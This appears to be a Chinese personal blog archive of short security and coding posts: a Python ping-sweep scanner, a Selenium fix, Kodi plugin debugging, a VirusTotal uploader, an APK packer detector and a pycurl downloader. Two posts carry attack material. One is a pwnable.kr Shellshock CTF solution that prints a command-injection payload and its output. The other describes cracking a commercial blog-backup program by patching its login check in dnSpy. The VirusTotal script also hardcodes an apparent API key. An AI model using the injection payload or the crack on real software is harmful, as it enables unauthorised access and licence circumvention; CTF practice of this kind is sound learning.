Scanning Pentesting

主机扫描

检测存活主机

ICMP扫描

使用ping发送ICMP ECHO请求到目标主机,如果目标主机在线,本机就会收到ICMP ECHO回复。

使用os.popen直接执行ping命令,根据返回的结果有没有TTL来判断目标是否存活。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import os
import collections
import platform
import socket, subprocess,sys
import threading
from datetime import datetime
''' section 1 '''
net = raw_input("Enter the Network Address ")
net1= net.split('.')
net2= "{0}.{1}.{2}.".format(net1[0],net1[1],net1[2])
st1 = int(raw_input("Enter the Starting Number "))
en1 = int(raw_input("Enter the Last Number "))
en1 =en1+1
dic = collections.OrderedDict()
oper = platform.system()
if (oper=="Windows"):
ping1 = "ping -n 1 "
elif (oper== "Linux"):
ping1 = "ping -c 1 "
else :
ping1 = "ping -c 1 "
t1= datetime.now()
'''section 2'''
#使用多线程 扫描
class myThread (threading.Thread):
def __init__(self,st,en):
threading.Thread.__init__(self)
self.st = st
self.en = en
def run(self):
run1(self.st,self.en)
'''section 3'''
def run1(st1,en1):
#print "Scanning in Progess"
for ip in xrange(st1,en1):
#print ".",
addr = net2+str(ip)
comm = ping1+addr
response = os.popen(comm)
for line in response.readlines():
if (line.count("TTL")):
#有返回的数据,表示目标主机在线
print addr, "--> Live"
dic[ip]= addr
break
''' Section 4 '''
total_ip =en1-st1
# 每个线程跑20个ip,根据ip数量来确定使用几个线程
tn =20 # number of ip handled by one thread
total_thread = total_ip/tn
total_thread=total_thread+1
threads= []
try:
for i in xrange(total_thread):
en = st1+tn
if(en >en1):
en =en1
# 多线程
thread = myThread(st1,en)
thread.start()
threads.append(thread)
st1 =en
except:
print "Error: unable to start thread"
print "\tNumber of Threads active:", threading.activeCount()
for t in threads:
t.join()
print "Exiting Main Thread"
dict = collections.OrderedDict(sorted(dic.items()))
for key in dict:
print dict[key],"-->" "Live"
t2= datetime.now()
total =t2-t1
print "scanning complete in " , total

豆约翰博客备份专家破解

官网下载程序,解压用dnspy来调试主程序BlogDownloader.exe;虽然被混淆,但这样的保护形同虚设,很容易通过动态调试被破解。

F5开始调试。

点击ok,程序会出现登陆框,要输入账号密码。第一步我们先实现免账号登陆,先随便输个账号密码,利用堆栈回溯来找到下图中高亮部分,这里面就是登陆流程部分。

跳转到目标代码,很明显就是对账号密码的判断,我们只要将第一个判断语句的等于改成不等于,空账号登陆。

python selenium 3 + Firefox 48+ 报错解决方法

这里记录下使用selenium碰到的问题。

报错信息如下时:

selenium.common.exceptions.WebDriverException: Message: 'geckodriver' executable needs to be in PATH.       

这是因为在Firefox高版本需要使用 geckodriver来驱动,不再使用selenium默认自带的Firefox webdriver。

我们只需要在下面这个地址下载geckodriver并将 其所在的路径设为环境变量即可解决。

https://github.com/mozilla/geckodriver/releases

当报如下错误信息时,则是

1
2
selenium.common.exceptions.WebDriverException: Message: Expected browser binary location, but unable to find binary in default location,
no 'moz:firefoxOptions.binary' capability provided, and no binary flag set on the command line

这时我们需要指定Firefox浏览器程序路径。

1
2
3
4
from selenium.webdriver.firefox.firefox_binary import FirefoxBinary
binary = FirefoxBinary('D:\\Firefox\\Firefox\\firefox.exe')
driver = webdriver.Firefox(firefox_binary=binary)

这样就能正常使用了。

pycharm 远程调试kodi python plugin

2017.7.29 更新

安装 script.module.pydevd插件, 在'addon.xml'添加改模块

1
2
3
4
5
6
<!-- addon.xml -->
<addon id="your.addon">
<requires>
<import addon="script.module.pydevd" version="4.4.0"/>
</requires>
</addon>

在想要断下的地方加入如下语句

1
2
import pydevd
pydevd.settrace(stdoutToServer=True, stderrToServer=True)

kodi是什么我就不说了,附上一张我的kodi插件图。这个播放器最强大的功能就是支持python编写的插件。

图片说明

但是有些老的插件作者已经不打算更新或维护了,使用的话又会有一些问题,这时就需要调试来修复问题了。 我最近使用的爱奇艺播放插件作者也是好久没更新,有了这个插件都不用去买爱奇艺VIP了,播放也没有广告。

Pwnable.kr shellshock

这道题比较简单,对"破壳"漏洞了解的同学都能做出来。

1
2
3
4
5
6
7
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}

源码中调用了题目提供的有漏洞的bash,我们可以构造如下命令来打印出flag:

1
env x='() { :;}; /bin/cat flag' ./shellshock

上面这条命令相当于直接使用shellshcok调用的bash直接执行了/bin/cat flag,

shellshock@ubuntu:~$ env x='() { :;}; /bin/cat flag' ./shellshock    
only if I knew CVE-2014-6271 ten years ago..!!                       
Segmentation fault                                                   
                                               

先了解这个漏洞的同学可以看看这两篇文章

bash代码注入的安全漏洞 Shellshock漏洞回顾与分析测试

VirusTotal扫描器 python版

利用在线查毒网站https://www.virustotal.com/ 提供的API实现上传文件返回扫描结果,因为我平时只看查毒结果,因此只是简单的把文件上传然后返回分析结果。 代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#coding:gb2312
from poster.encode import multipart_encode # easy_install poster
from poster.streaminghttp import register_openers
import urllib2,urllib,simplejson,sys,hashlib,os
apikey = {'apikey': 'fa07ea9eddbc8ef8d6e6c0b433030230f7785d3aca1da3dbdb19762455a82ad7'}
url = 'https://www.virustotal.com/vtapi/v2/file/'
virustotalAPI = {'scan':url+'scan','rescan':url+'rescan','reports':url+'report'}
def scan(filepath):
#发送post
register_openers()
file = open(filepath, "rb")
params = {'file': file}
params.update(apikey)
datagen, headers = multipart_encode(params)
#计算文件的md5,先查询vt上是否有该样本,如果有直接返回结果,如果没有上传文件再返回结果
m2 = hashlib.md5()
m2.update(file.read())
json = report(m2.hexdigest())
if json['response_code'] == 1:
reportformat(json)
else:
request = urllib2.Request(virustotalAPI['scan'], datagen, headers)
result = simplejson.loads(urllib2.urlopen(request).read())
reportformat(report(result['resource']))
def report(resource ):
parameters = {"resource":resource}
parameters.update(apikey)
req = urllib2.Request(virustotalAPI['reports'], urllib.urlencode(parameters))
str = urllib2.urlopen(req).read()
if str == '':
print '获取扫描结果失败,请稍后再试'
exit(1)
reportjson = simplejson.loads(str)
return reportjson
def reportformat(json):
# 格式化输出返回的结果
if json['response_code'] == 1:
print 'scan_date\t' + json['scan_date']
print 'scan result %d/%d'%(json['positives'],json['total'])
for u in json['scans']:
virus = json['scans'][u]
print '\t{0:<20}\t{1:<40}\t{2:<10}'.format(u,virus['result'],virus['update'])
else :
print '请求的资源扫描未完成,请稍后再试'
def main(argv):
scan(argv[1])
if __name__ == '__main__':
main(sys.argv)

apk查壳工具python版

感谢淡然阿姨和坑神提供的特征。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#coding:gb2312
import zipfile,argparse
#apk查壳特征
pack_ijiami = ['爱加密',['libexec.so','libexecmain.so']],
pack_apkprotect = ['apkprotect',['apkprotect.com','libAPKProtect.so']],
pack_360 = ['360加固',['libprotectClass.so','libprotectClass_x86.so'
'libjiagu.so','libjiagu_art.so','libjiagu.so','libjiagu_x86.so']],
pack_bangbang = ['梆梆加固企业版',['libDexHelper.so','libDexHelper-x86.so']],
pack_tp = ['腾讯加固',['libtup.so','libshell.so']],
pack_baidu = ['百度加固',['libbaiduprotect.so','ibbaiduprotect_x86.so']],
pack_najia = ['娜迦加固',['libddog.so','libfdog.so','libchaosvmp.so']],
pack_wangqin = ['网秦加固',['libnqshieldx86.so','libnqshield.so']],
pack_ali = ['阿里加固',['libmobisec.so','libmobisecx.so']],
pack_tfd = ['通付盾加固',['libegis.so']],
pak_list = [pack_ijiami ,pack_apkprotect ,pack_360 ,pack_bangbang ,
pack_tp ,pack_baidu ,pack_najia ,pack_wangqin ,pack_ali ,pack_tfd ]
#查apk壳
def checkPack( zipfilename):
for pakcket in pak_list:
for u in zipfilename:
if u.split('/')[-1] in pakcket[0][1]:
return pakcket[0][0]
return '未加壳或者未知壳'
# 不解压文件,获取文件列表
def getzipfilename(path):
filename = []
try:
zipinfo = zipfile.ZipFile(path,'r')
zipinfolist = zipinfo.infolist()
except Exception,e:
return
for f in zipinfolist:
filename.append(f.filename)
return filename
def main():
parser = argparse.ArgumentParser(description='apk查壳工具 by Ken' )
parser.add_argument('-f','--file', help='指定文件' , nargs="+")
args = parser.parse_args()
path = args.file
if path:
filename = getzipfilename(path[0])
if not filename:
print '不是标准apk文件'
exit()
print checkPack(filename)
else:
print '请选择文件路径'
if __name__ == '__main__':
main()

pycurl 分块下载

写爬虫时要下载文件,谁知道文件比较大,然后在下载时候总是丢包,因此参考网上的一些源码写了实现分块下载的功能,有能力的童鞋可以自己改写成多线程的。 这个pycurl的分块下载功能我把它封装成了一个类,直接使用即可,接收5个参数,用法如下

1
2
d = downloader(downloadurl,out_filePath,None,None,None)
d.download() #调用下载功能下载
|